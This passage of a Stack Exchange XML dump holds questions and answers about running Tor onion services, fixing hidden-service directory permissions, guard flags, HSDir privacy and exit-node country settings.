  <row Id="21214" PostTypeId="2" ParentId="21213" CreationDate="2020-05-15T12:37:00.737" Score="0" Body="&lt;p&gt;Let's say a bad node is actively scanning sites. If you have a link to &lt;code&gt;example.onion/user404/data/page/example123.txt&lt;/code&gt; then yes they can see that because you linked to it. Also, if you turn on directory browsing in your web server and the node sees &lt;code&gt;example.onion/user404&lt;/code&gt; and can browse into those files and subdirectories then yes they could see that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't link to a file and you don't have a way to browse to a file, then it's very unlikely that someone will find that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all comes down to your responsibility to harden your web server and if you are using a CMS, make sure you keep it patched and follow all security guidelines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing, and I will use Wordpress as an example because I know it best.  I know that somewhere there is probably a example.onion/wp-admin page. I also know that there is a wp-content directory and a wp-config directory, etc. and if you haven't set up your security sufficiently these are all places where I can try to hack you and steal your data. This really has nothing to do with an onion service, but all about being a good webserver admin.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-05-15T12:37:00.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21215" PostTypeId="1" CreationDate="2020-05-16T14:09:07.990" Score="0" ViewCount="260" Body="&lt;p&gt;I have a quick question I hope has not been asked yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Windows 10 and I don't have any router, a ethernet cable is being directly connected to my computer. I don't have any static IP not even IPv6. And basically my computer is in my ISP's local are network (LAN) because I saw in my adapter properties that I have have a address like &lt;code&gt;10.72.99.17&lt;/code&gt; which is of course a private IP and when I type the gateway address my ISP login page opens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes I want to tell you one more thing that when I was surfing some onion sites, I opened the dev tools and went to the network tab and saw IP address of these sites, it was &lt;code&gt;0.0.0.0&lt;/code&gt;. This boosted my curiosity a 100 times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this created a confusion in my mind that if tor is just a private network in the Internet, does it matter that a onion site  is being hosted behind a LAN or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone access my onion site which is being hosted in a LAN, from outside that LAN&lt;/p&gt;&#xA;" OwnerDisplayName="user30277" LastActivityDate="2021-06-10T16:05:40.497" Title="Can I access a onion site which is being hosted behind a LAN?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21216" PostTypeId="2" ParentId="21215" CreationDate="2020-05-16T14:28:46.703" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;does it matter that a onion site is being hosted behind a LAN or not.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Can someone access my onion site which is being hosted in a LAN, from&#xA;  outside that LAN&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, they can access it without a problem. The tor service on your computer reaches out to the Tor network and starts the connection. When someone visits your website, the Tor network knows how to reach the onion service that you are hosting via that connection. If you stop your web server or you stop the tor service, then they can't reach it anymore. If you want an in-depth explanation, then read the &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor design document&lt;/a&gt; and other &lt;a href=&quot;https://2019.www.torproject.org/docs/documentation.html.en#DesignDoc&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-05-16T14:28:46.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21217" PostTypeId="2" ParentId="8636" CreationDate="2020-05-16T15:42:54.973" Score="-2" Body="&lt;p&gt;Yes! Tor Makes Anonymity but as he said whoever is in control with the exit node is also in control with the traffic. It means He can Intercept Traffic between the entry node and the client and also between the exit node and the server. which will help him figure out what's happening.&lt;/p&gt;&#xA;" OwnerUserId="30278" LastActivityDate="2020-05-16T15:42:54.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21219" PostTypeId="1" CreationDate="2020-05-17T08:14:09.283" Score="1" ViewCount="1675" Body="&lt;p&gt;I'm not technically competent, but I was wondering how I could create my own Tor alternative using Visual Studio, Notepad++ or any other coding software and perhaps some links to the type of scripts I'd need to run in order to build a browser that connects to a network similar to Tor, Freenet/Frost, Zeronet, Lokinet, etc etc. I want to add my own custom .xxxxxx domains (like, say .example) instead of it being .onion or localhost. It's just a fun project I want to do that I might release once finished.&lt;/p&gt;&#xA;" OwnerUserId="30281" LastActivityDate="2022-10-30T06:16:33.137" Title="How can I create my own Tor alternative?" Tags="|tor-browser-bundle|anonymity|source-code|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21220" PostTypeId="1" CreationDate="2020-05-17T11:52:21.183" Score="1" ViewCount="1190" Body="&lt;p&gt;I'm running Tor 0.4.2.7 on Ubuntu Server 20.04, and I'm trying to create an onion service following the instructions &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-onion-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My torrc file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /home/tofol/hidden_service&#xA;HiddenServicePort 80 127.0.0.1:81&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I can connect to my web on port 81 successfully. I restart Tor using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which restarts successfully. However, both the private_key and hostname files are missing from the hidden_service folder when I would expect them to be there. If the hidden_service folder isn't there when I restart Tor, Tor does not automatically create it either. Tor restarts correctly each time and produces no log file notices (I have log files enabled in torrc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody please help me generate these two files? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rebooting my machine gave me some warnings in syslog which I resolved by running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R debian-tor hidden_service&#xA;sudo chmod 700 hidden_service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now syslog gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;systemd[1]: Starting Anonymizing overlay network for TCP...&#xA;tor[1034]: [notice] Tor 0.4.2.7 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1f, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4.&#xA;tor[1034]: [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;tor[1034]: [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;tor[1034]: [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;tor[1034]: Configuration was valid&#xA;tor[1037]: [notice] Tor 0.4.2.7 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1f, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4.&#xA;tor[1037]: [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;tor[1037]: [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;tor[1037]: [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;tor[1037]: [notice] Opening Socks listener on 127.0.0.1:9050&#xA;tor[1037]: [notice] Opened Socks listener on 127.0.0.1:9050&#xA;systemd[1]: tor@default.service: Main process exited, code=exited, status=1/FAILURE&#xA;systemd[1]: tor@default.service: Failed with result 'exit-code'.&#xA;systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although &lt;code&gt;service tor status&lt;/code&gt; tells me Tor is running. /var/log/tor/notices.log doesn't give me anything. I still don't have private_key or hostname in my hidden_service folder. &lt;/p&gt;&#xA;" OwnerUserId="30282" LastEditorUserId="30282" LastEditDate="2020-05-17T20:04:07.007" LastActivityDate="2020-05-18T08:59:44.583" Title="private_key &amp; hostname files not automatically generated" Tags="|onion-services|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21221" PostTypeId="2" ParentId="21219" CreationDate="2020-05-17T12:34:49.320" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm not technically competent&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What you are talking about is totally possible but not an easy task for the newbie. However you can make your own Tor network if you're willing to put the effort into it. Tor is completely open-source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Tor &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#PrivateTorNetwork&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;How do I set up my own private Tor network?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you want to experiment locally with your own network, or you're cut&#xA;  off from the Internet and want to be able to mess with Tor still, then&#xA;  you may want to set up your own separate Tor network.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To set up your own Tor network, you need to run your own authoritative&#xA;  directory servers, and your clients and relays must be configured so&#xA;  they know about your directory servers rather than the default public&#xA;  ones.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Apart from the somewhat tedious method of manually configuring a&#xA;  couple of directory authorities, relays and clients there are two&#xA;  separate tools that could help. One is Chutney, the other is Shadow.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Chutney is a tool for configuring, controlling and running tests on a&#xA;  testing Tor network. It requires that you have Tor and Python (2.5 or&#xA;  later) installed on your system. You can use Chutney to create a&#xA;  testing network by generating Tor configuration files (torrc) and&#xA;  necessary keys (for the directory authorities). Then you can let&#xA;  Chutney start your Tor authorities, relays and clients and wait for&#xA;  the network to bootstrap. Finally, you can have Chutney run tests on&#xA;  your network to see which things work and which do not. Chutney is&#xA;  typically used for running a testing network with about 10 instances&#xA;  of Tor. Every instance of Tor binds to one or two ports on localhost&#xA;  (127.0.0.1) and all Tor communication is done over the loopback&#xA;  interface. The Chutney README is a good starting point for getting it&#xA;  up and running.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Shadow is a network simulator that can run Tor through its Scallion&#xA;  plug-in. Although it's typically used for running load and performance&#xA;  tests on substantially larger Tor test networks than what's feasible&#xA;  with Chutney, it also makes for an excellent debugging tool since you&#xA;  can run completely deterministic experiments. A large Shadow network&#xA;  is on the size of thousands of instances of Tor, and you can run&#xA;  experiments out of the box using one of Shadow's several included&#xA;  scallion experiment configurations. Shadow can be run on any linux&#xA;  machine without root, and can also run on EC2 using a pre-configured&#xA;  image. Also, Shadow controls the time of the simulation with the&#xA;  effect that time-consuming tests can be done more efficiently than in&#xA;  an ordinary testing network. The Shadow wiki and Shadow website are&#xA;  good places to get started.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-05-17T12:34:49.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21222" PostTypeId="1" CreationDate="2020-05-17T13:56:16.133" Score="-1" ViewCount="680" Body="&lt;p&gt;I've read some information from 2014-17 about attacking possibilities which have or had nodes are called ''HSDirs''&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first what i need to know, HSDir node it is also ''exit'' or third node from client, isn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At second, as authors of researches have said, malware HSDirs can be able to (or were be able to) know V2 onion's adresses, which clients connecting to, but what about user's IP? Can they deanonymize client/user or easily compare client request IP's and URL's of onions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At third, is V3 so much better than V2? Because as far as I know from 2013 documentation, only 2 nodes (first and third) needed to easily deanonymize V2 onion user. Or in 2020 2 nodes are not enough?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much. Shukriya&lt;/p&gt;&#xA;" OwnerUserId="30283" LastActivityDate="2021-02-11T20:04:40.540" Title="Is HSDir based attack is still possible nowadays? +Need some info" Tags="|onion-routing|encryption|website|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21223" PostTypeId="1" CreationDate="2020-05-17T17:47:03.787" Score="0" ViewCount="59" Body="&lt;p&gt;I'm trying to understand the criteria by which authorities determine their vote for the &lt;code&gt;guard&lt;/code&gt; flag in order to elucidate why this flag on my relay is flapping. I see a scattering of information from having a rummage around the 'net, but nothing that appears to describe how the different authorities come to such varied conclusions.&lt;/p&gt;&#xA;&lt;p&gt;The relay in question runs 0.4.1.9, is assigned and has tested at 3MB/s, and has existed for 31d with a current uptime of 10d. Checking the current consensus of each authority listed in &lt;a href=&quot;https://consensus-health.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;consensus health&lt;/a&gt; shows that, during my time as a guard, I have the vote of never more than five of the nine authorities, and during a no guard flag period I have &lt;code&gt;guard&lt;/code&gt; votes from anywhere between two and four authorities. Furthermore the listed &lt;code&gt;bwauth&lt;/code&gt; relay, &lt;code&gt;moria1&lt;/code&gt;, never seems to vote for &lt;code&gt;hsdir&lt;/code&gt; or &lt;code&gt;guard&lt;/code&gt; flags, though in the case of &lt;code&gt;hsdir&lt;/code&gt; all the others have. Anecdotally, &lt;code&gt;moria1&lt;/code&gt; is also running by far the latest version, &lt;code&gt;0.4.4.0-alpha-dev&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Looking through the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;directory spec&lt;/a&gt; it appears that I fall well within the &lt;code&gt;guard-wfu&lt;/code&gt; and &lt;code&gt;guard-tk&lt;/code&gt; thresholds of 0.98 and 8 days respectively and I cannot see any other &lt;code&gt;flag-threshold&lt;/code&gt; which may apply to guard flag selection. I've been holding off upgrading to tor-0.4.2.7 or tor-0.4.3.5 in order to gain some uptime while I look into this, but it doesn't appear that should be a limitation in the authority vote as it is listed in &lt;code&gt;dir-spec.txt&lt;/code&gt; as a recommended version.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore I don't believe that I have any IP connectivity issues to the authorities which would cause them to have an intermittent view of my node (relay is in AS5089, I've not yet started a deep dive to determine if there's been any BGP shenanigans during this period but basic reachability tests have consistently been ok). I've also carefully investigated and concluded that there's nothing in my firewall which is dropping relevant connections.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone enlighten me to why the consensuses of the relays would be so different, or even perhaps something else I can look into, given they've had plenty of time to &amp;quot;see&amp;quot; my relay?&lt;/p&gt;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="30284" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2020-05-17T17:47:03.787" Title="Non-exit fluctuating guard flag" Tags="|directory|guard-node|guard|consensus|flags|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21224" PostTypeId="2" ParentId="21222" CreationDate="2020-05-17T18:27:51.550" Score="0" Body="&lt;p&gt;The name HSDir comes from &quot;hidden service directory&quot;. These HSDir nodes make up something called a distributed hash table. This is somewhat similar to a distributed phone book where you look up information about a hidden service from these HSDir nodes. You do not actually connect to the hidden service through this HSDir. Instead you download the hidden service's descriptor (like a phone book entry) from the HSDir  so that you can learn how to contact the hidden service (through one of the hidden service's introduction points). Your final connection to the hidden service is through a different relay called the rendezvous point. So while the HSDir node is generally a relay like any other (so you can use it as any hop in a circuit), it has nothing to do with actually connecting to the hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With V2 hidden services, the HSDirs can see the actual names of the hidden services. If we use the phone book analogy, these HSDirs can see the phone book entries that they're storing. With V3 hidden services, these HSDirs cannot see the names of the hidden services because of the use of a blinded signing key for the descriptor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know V3 hidden services are not any more safe against traffic timing/analysis attacks than V2 hidden services.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-17T18:27:51.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21227" PostTypeId="2" ParentId="21220" CreationDate="2020-05-18T08:59:44.583" Score="1" Body="&lt;p&gt;Thanks to &lt;a href=&quot;https://tor.stackexchange.com/users/24966/steve&quot;&gt;@Steve&lt;/a&gt;, I ran the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;systemctl cat tor@default.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which gave me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Hardening&#xA;AppArmorProfile=-system_tor&#xA;NoNewPrivileges=yes&#xA;PrivateTmp=yes&#xA;PrivateDevices=yes&#xA;ProtectHome=yes&#xA;ProtectSystem=full&#xA;ReadOnlyDirectories=/&#xA;ReadWriteDirectories=-/proc&#xA;ReadWriteDirectories=-/var/lib/tor&#xA;ReadWriteDirectories=-/var/log/tor&#xA;ReadWriteDirectories=-/run&#xA;CapabilityBoundingSet=CAP_SETUID CAP_SETGID CAP_NET_BIND_SERVICE CAP_DAC_READ_SEARCH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this I understood that my hidden_service directory had to live under /var/lib/tor/ - I then moved it to that location (/var/lib/tor/hidden_service), edited my torrc to reflect the change and restarted Tor. I now have both files.&lt;/p&gt;&#xA;" OwnerUserId="30282" LastActivityDate="2020-05-18T08:59:44.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21230" PostTypeId="1" CreationDate="2020-05-19T13:13:47.673" Score="1" ViewCount="539" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j5ceU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j5ceU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;New to creating Tor_Hidden_Services. I created a website on Mobirise software and i wanted to run the site in Tor_Hidden_Services. I started with a tutorial from a friend which with his instructions, i Downloaded Oracle VirtualBox, then installed Ubuntu 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After moving the website files through Google drive account (Chrome browser) on my windows 10, i signed into the account using firefox on the Ubuntu Os then downloaded the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We started running this command in the terminal:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt install nginx&lt;/code&gt; - Downloaded Nginx&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo nautilus&lt;/code&gt; - With permission granted, i was able to move the website file to the destination shown on the picture.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt install tor&lt;/code&gt; - Installed tor services&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I went to my browser and typed &lt;code&gt;http://localhost/&lt;/code&gt; it displayed the website i wanted to run in tor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now he told me to enter &lt;code&gt;sudo gedit /etc/tor/torrc&lt;/code&gt; which showed the tor configurations in a text editor. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the text editior he told me to uncomment this here and there &lt;code&gt;#HiddenServiceDir /var/lib/tor/hidden_service/&lt;/code&gt;,&lt;code&gt;#HiddenServicePort 80 127.0.0.1:80&lt;/code&gt; and to look like this...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;############### This section is just for location-hidden services ###&#xA;HiddenServicePort x y:z says to redirect requests on port x to the&#xA; address y:z.&#xA;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that i saved the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Having Problem Here&lt;/em&gt;&lt;/strong&gt;&#xA; - Then told me to Open terminal and type &lt;code&gt;sudo tor&lt;/code&gt; and this was the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;May 08 02:32:21.960 [notice] Tor 0.3.0.8 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1f, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4.&#xA;May 08 02:32:21.961 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;May 08 02:32:21.961 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;May 08 02:32:21.967 [warn] Directory /var/lib/tor/hidden_service/ failed: Permission denied&#xA;May 08 02:32:21.967 [warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;May 08 02:32:21.967 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please somebody help me out, i am stuck here and dont't know what next to do after, because the person helping me, has been off for days......&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[![][2]][2]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="30292" LastEditorUserId="30292" LastEditDate="2020-05-19T20:21:31.137" LastActivityDate="2020-06-18T21:03:00.287" Title="Problem running tor services" Tags="|configuration|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21231" PostTypeId="2" ParentId="21230" CreationDate="2020-05-19T14:09:12.410" Score="1" Body="&lt;p&gt;The important line is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;May 08 02:32:21.967 [warn] Directory /var/lib/tor/hidden_service/ failed: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Tor process checks the permissions of this directory and if they are wrong it fails. You can check them by opening  your terminal and entering the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ls -la /var/lib/tor/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There should be a line which ends with &lt;code&gt;hidden_service&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;drwx--S---  2 debian-tor debian-tor    4096 May  5 12:53 hidden_service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first part of the line shows the permissions: &lt;code&gt;drwx--S---&lt;/code&gt;. They are different in your output. So to solve this, enter the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chmod 2700 /var/lib/tor/hidden_service/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you now enter &lt;code&gt;sudo ls -la /var/lib/tor/&lt;/code&gt; you should see the same permissions as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore I'd recommend to check the owner of the directory. Like in the output above it should list &lt;code&gt;debian-tor&lt;/code&gt; as owner. If this is not the case change it by entering:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown debian-tor:debian-tor /var/lib/tor/hidden_service/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last step is to restart your Tor process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl restart tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now your hidden service should work. You can check the contents of &lt;code&gt;/var/lib/tor/hidden_service/hostname&lt;/code&gt;. The file lists the onion name. Enter this in your browser and you should see your web site.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2020-05-19T14:09:12.410" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21232" PostTypeId="1" CreationDate="2020-05-19T16:03:45.387" Score="0" ViewCount="98" Body="&lt;p&gt;I use one of the most popular antivirus program for Windows for months and some days ago I just noticed that it at least uses firewall and ''internet security and protection'' settings turned on and aren't explicitly represented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confidentiality policy of this program sounds for me like ''We always can take, store and share all information from you we want, include full URL`s of websites you've seen, your interests etc. way we want and as long as we want.''&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;My specific question is can my activity in tor theoretically got viewed and stored due to fact I used onion routing and disabled ''accessibility-services'' &lt;a href=&quot;https://support.mozilla.org/en-US/kb/accessibility-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.mozilla.org/en-US/kb/accessibility-services&lt;/a&gt; in Tor's settings. (I don't talk about viruses, adware or spyware itself) only about legit programs de jure registered in US&lt;/em&gt;&#xA;Also I don't upload any addons in my browser too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank for your for answers. I think it will be usefull for all users of ''antiviruses'' and ''internet security'' programs.&lt;/p&gt;&#xA;" OwnerUserId="30301" LastActivityDate="2022-03-17T19:04:10.657" Title="Can legit antivirus spying on user when ''accessibility-services'' in Tor are turned off and onion routing using?" Tags="|onion-routing|deanonymization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21233" PostTypeId="1" CreationDate="2020-05-19T17:12:36.717" Score="1" ViewCount="136" Body="&lt;p&gt;I counted about 250 different land codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default one is {us}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is if i can specify more than one for each torrc file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that it for example looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{us}, {tr}, {va}, {ve}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This make an additional questions comes up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if it for example use the Exit Nodes from left to right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First time open up the window, does it use {us} Exit Nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second time open up the window, does it use {tr} Exit Nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is that random what chronological order it uses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im confused by this an need some clarification&lt;/p&gt;&#xA;" OwnerUserId="30200" LastEditorUserId="30200" LastEditDate="2020-05-19T17:18:49.407" LastActivityDate="2020-10-16T19:04:55.460" Title="Can i specify multiple countries in one torrc file, and if yes, what chronological order is used?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21234" PostTypeId="2" ParentId="21233" CreationDate="2020-05-19T17:43:57.093" Score="1" Body="&lt;p&gt;Tor by default does not limit the exit nodes (the &lt;code&gt;ExitNodes&lt;/code&gt; option is unset). When you specify exit nodes with the &lt;code&gt;ExitNodes&lt;/code&gt; option, there is no ordering. Instead it simply chooses an exit as it normally does (randomly according to the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/plain/path-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;path spec&lt;/a&gt;), but excludes any relays not included in this set. See tor's &lt;code&gt;choose_good_exit_server_general()&lt;/code&gt; for reference.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-05-19T18:05:36.623" LastActivityDate="2020-05-19T18:05:36.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21236" PostTypeId="1" CreationDate="2020-05-20T11:58:24.280" Score="0" ViewCount="201" Body="&lt;p&gt;I don't know if asking this question here, is really right or if &quot;Ask Ubuntu&quot; section in stack would be in a better position to answer, but i gotta try, because it is still related to tor. So in my previous post, i was asking how to solve this &#xA;&lt;code&gt;May 20 12:40:35.541 [notice] Tor 0.4.2.7 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1f, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4.&#xA;May 20 12:40:35.541 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;May 20 12:40:35.541 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;May 20 12:40:35.547 [warn] Directory /var/lib/tor/hidden_service/ cannot be read: Permission denied&#xA;May 20 12:40:35.547 [warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;May 20 12:40:35.547 [err] Reading config failed--see warnings above.&lt;/code&gt; &lt;a href=&quot;https://tor.stackexchange.com/questions/21230/problem-running-tor-services&quot;&gt;Problem running tor services&lt;/a&gt;, Which someone posted an answer, but the answer didn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;So i was thinking if it's possible to disable whatever that is asking for permissions, so that whatever i do in my terminal, i won't need to type in sudo or have some sort of permission denied when running some commands.&lt;/li&gt;&#xA;&lt;li&gt;What really are those error output saying (That would help me understand what am doing wrong and right)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also i'll be glad if someone helps me with a solution to the 